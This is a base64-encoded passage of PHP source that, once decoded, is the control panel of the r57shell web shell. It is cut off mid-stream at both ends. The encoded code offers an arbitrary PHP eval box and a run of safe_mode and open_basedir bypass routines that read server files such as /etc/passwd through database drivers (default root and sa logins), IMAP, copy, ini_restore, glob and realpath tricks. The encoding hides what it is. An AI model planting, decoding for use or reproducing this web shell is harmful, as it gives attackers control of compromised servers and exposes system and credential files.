G8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUyJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfdGV4dCcsODUsJ3RleHQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMiddKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTskdGVtcGRpciApIik7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU1J10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCdtIGlkPW0nLDAsJzEnKS5pbigndGV4dCcsJ3NfbWFzaycsODIsJy50eHQ7LnBocCcpLiIqICggLnR4dDsucGhwOy5odG0gKSIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2VhcmNoX3RleHQnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwoKaWYoISRzYWZlX21vZGUgJiYgJHVuaXgpewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzYnXSwnaWQ5JykuJHRhYmxlX3VwMi5kaXYoJ2lkOScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc19kaXInLDg1LCRkaXIpLiIgKiAoIC9yb290Oy9ob21lOyR0ZW1wZGlyICkiKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc19tYXNrJyw4NSwnKi5baGNdJykud3MoMSkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc1J10uaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZmluZF90ZXh0JykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMyJ10sJ2lkMTAnKS4kdGFibGVfdXAyLiRmb250OwplY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iLmRpdignaWQxMCcpLiI8dGV4dGFyZWEgbmFtZT1waHBfZXZhbCBjb2xzPTEwMCByb3dzPTEwPiI7CmVjaG8gKCFlbXB0eSgkX1BPU1RbJ3BocF9ldmFsJ10pPygkX1BPU1RbJ3BocF9ldmFsJ10pOigiLy91bmxpbmsoXCJyNTdzaGVsbC5waHBcIik7XHJcbi8vcmVhZGZpbGUoXCIvZXRjL3Bhc3N3ZFwiKTtcclxuLy9maWxlX2dldF9jb250ZW50KFwiL2V0Yy9wYXNzd2RcIik7IikpOwplY2hvICI8L3RleHRhcmVhPiI7CmVjaG8gaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdwaHBfZXZhbCcpOwplY2hvICI8YnI+Ii53cygxKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pOwplY2hvICI8L2Rpdj48L2Rpdj48L2ZvbnQ+IjsKZWNobyAkdGFibGVfZW5kMS4kZmU7CgppZigkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM0J10sJ2lkMTEnKS4kdGFibGVfdXAyLmRpdignaWQxMScpLiR0czsKZWNobyAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0Ml9maWxlJyw4NSwoIWVtcHR5KCRfUE9TVFsndGVzdDJfZmlsZSddKT8oJF9QT1NUWyd0ZXN0Ml9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDInKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiAkY3VybF9vbiAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4wIik8PTApCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMzJ10sJ2lkMTInKS4kdGFibGVfdXAyLmRpdignaWQxMicpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDFfZmlsZScsODUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDFfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoKCRzYWZlX21vZGUgfHwgJG9wZW5fYmFzZWRpcikgJiYgJG15c3FsX29uKQp7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNSddLCdpZDEzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTMnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QzX21kJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNfbWQnXSk/KCRfUE9TVFsndGVzdDNfbWQnXSk6KCJteXNxbCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QzX21sJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNfbWwnXSk/KCRfUE9TVFsndGVzdDNfbWwnXSk6KCJyb290IikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDNfbXAnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tcCddKT8oJF9QT1NUWyd0ZXN0M19tcCddKTooInBhc3N3b3JkIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDNfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX3BvcnQnXSk/KCRfUE9TVFsndGVzdDNfcG9ydCddKTooIjMzMDYiKSkpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDNfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDNfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QzJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoKCRzYWZlX21vZGUgfHwgJG9wZW5fYmFzZWRpcikgJiYgJG15c3FsaV9vbikKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQ0J10sJ2lkNDAnKS4kdGFibGVfdXAyLmRpdignaWQ0MCcpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE5X21kJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDE5X21kJ10pPygkX1BPU1RbJ3Rlc3QxOV9tZCddKTooIm15c3FsaSIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QxOV9tbCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxOV9tbCddKT8oJF9QT1NUWyd0ZXN0MTlfbWwnXSk6KCJyb290IikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzknXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDE5X21wJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDE5X21wJ10pPygkX1BPU1RbJ3Rlc3QxOV9tcCddKTooInBhc3N3b3JkIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDE5X3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTlfcG9ydCddKT8oJF9QT1NUWyd0ZXN0MTlfcG9ydCddKTooIjMzMDYiKSkpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE5X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTlfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MTlfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxOScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmICRtc3NxbF9vbikKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODUnXSwnaWQxNCcpLiR0YWJsZV91cDIuZGl2KCdpZDE0JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9tZCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21kJ10pPygkX1BPU1RbJ3Rlc3Q0X21kJ10pOigibWFzdGVyIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfbWwnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tbCddKT8oJF9QT1NUWyd0ZXN0NF9tbCddKTooInNhIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfbXAnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tcCddKT8oJF9QT1NUWyd0ZXN0NF9tcCddKTooInBhc3N3b3JkIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSk/KCRfUE9TVFsndGVzdDRfcG9ydCddKTooIjE0MzMiKSkpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDRfZmlsZSddKT8oJF9QT1NUWyd0ZXN0NF9maWxlJ10pOigiZGlyIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q0Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmICR1bml4ICYmIEBmdW5jdGlvbl9leGlzdHMoJ21iX3NlbmRfbWFpbCcpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTInXSwnaWQxNScpLiR0YWJsZV91cDIuZGl2KCdpZDE1JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NV9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDVfZmlsZSddKT8oJF9QT1NUWyd0ZXN0NV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDUnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdpbWFwX2xpc3QnKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4wIik8PTApewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEzJ10sJ2lkMjAnKS4kdGFibGVfdXAyLmRpdignaWQyMCcpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0Nl9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDZfZmlsZSddKT8oJF9QT1NUWyd0ZXN0Nl9maWxlJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDYnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdpbWFwX2JvZHknKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4wIik8PTApewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE0J10sJ2lkMjEnKS4kdGFibGVfdXAyLmRpdignaWQyMScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDdfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDdfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q3Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoKCRzYWZlX21vZGUgfHwgJG9wZW5fYmFzZWRpcikgJiYgQGZ1bmN0aW9uX2V4aXN0cygnY29weScpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCkKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE1J10sJ2lkMjInKS4kdGFibGVfdXAyLmRpdignaWQyMicpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q4X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDhfZmlsZTEnXSk/KCRfUE9TVFsndGVzdDhfZmlsZTEnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0OCcpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE3J10ud3MoMikuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q4X2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDhfZmlsZTInXSk/KCRfUE9TVFsndGVzdDhfZmlsZTInXSk6KCRkaXIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIAp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdpbmlfcmVzdG9yZScpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjAnXSwnaWQyMycpLiR0YWJsZV91cDIuZGl2KCdpZDIzJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0OV9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDlfZmlsZSddKT8oJF9QT1NUWyd0ZXN0OV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDknKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMC4wIik8MCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjEnXSwnaWQyNCcpLiR0YWJsZV91cDIuZGl2KCdpZDI0JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMF9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEwX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDEwX2ZpbGUnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTAnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnbG9iJykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyMiddLCdpZDE5JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTknKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdF9nbG9iYWwnXSk/KCRfUE9TVFsndGVzdF9nbG9iYWwnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2FmZV9kaXInKS5pbignaGlkZGVuJywnZ2xvYicsMCwnZ2xvYicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEBmdW5jdGlvbl9leGlzdHMoJ3JlYWxwYXRoJykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuNCIpPD0wKXsKJHNlbGVjdF9uX3JscGggPSAiPHNlbGVjdCBuYW1lPSduX3JscGgnPjxvcHRpb24gdmFsdWU9MT5bIDEgXSAoPDwwLDAxIHNlYyk8L29wdGlvbj48b3B0aW9uIHZhbHVlPTI+WyAyIF0gKDwwLDAxIHNlYyk8L29wdGlvbj4iLgoiPG9wdGlvbiB2YWx1ZT0zIHNlbGVjdGVkPlsgMyBdICg8MSBzZWMgKGRlZmF1bHQpKTwvb3B0aW9uPiIuCiI8b3B0aW9uIHZhbHVlPTQ+WyA0IF0gKDwxMCBzZWMpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT01PlsgNSBdICg+MTAwIHNlYyAoZGFuZ2VyKSk8L29wdGlvbj48b3B0aW9uIHZhbHVlPTY+WyA2IF0gKD4+MTAwIHNlYyAoZGFuZ2VyKSk8L29wdGlvbj48L3NlbGVjdD4iOwplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQ1J10sJ2lkNDEnKS4kdGFibGVfdXAyLmRpdignaWQ0MScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDMwLCghZW1wdHkoJF9QT1NUWydkaXJfcmxwaCddKT8oJF9QT1NUWydkaXJfcmxwaCddKTooJGRpcikpKS53cygyKS4nPGI+Jy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTUnXS4nPC9iPicud3MoMikuaW4oJ3RleHQnLCdlbmRfcmxwaCcsNiwoIWVtcHR5KCRfUE9TVFsnZW5kX3JscGgnXSk/KCRfUE9TVFsnZW5kX3JscGgnXSk6KCcucGhwJykpKS53cygyKS5pbignaGlkZGVuJywnY21kJywwLCdzYWZlX2RpcicpLndzKDIpLic8Yj4nLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDYnXS4nPC9iPicud3MoMikuJHNlbGVjdF9uX3JscGgud3MoMikuaW4oJ2hpZGRlbicsJ3JlYWxwYXRoJywwLCdyZWFscGF0aCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMwJ10sJ2lkMjUnKS4kdGFibGVfdXAyLmRpdignaWQyNScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMV9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDExX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDExX2ZpbGUnXSk6KCR0ZW1wZGlyLid0ZXN0LnppcCcpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTEnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgCn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTIzJ10sJ2lkMjYnKS4kdGFibGVfdXAyLmRpdignaWQyNicpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMl9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEyX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDEyX2ZpbGUnXSk6KCR0ZW1wZGlyLid0ZXN0LmJ6aXAnKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIAp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdlcnJvcl9sb2cnKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uK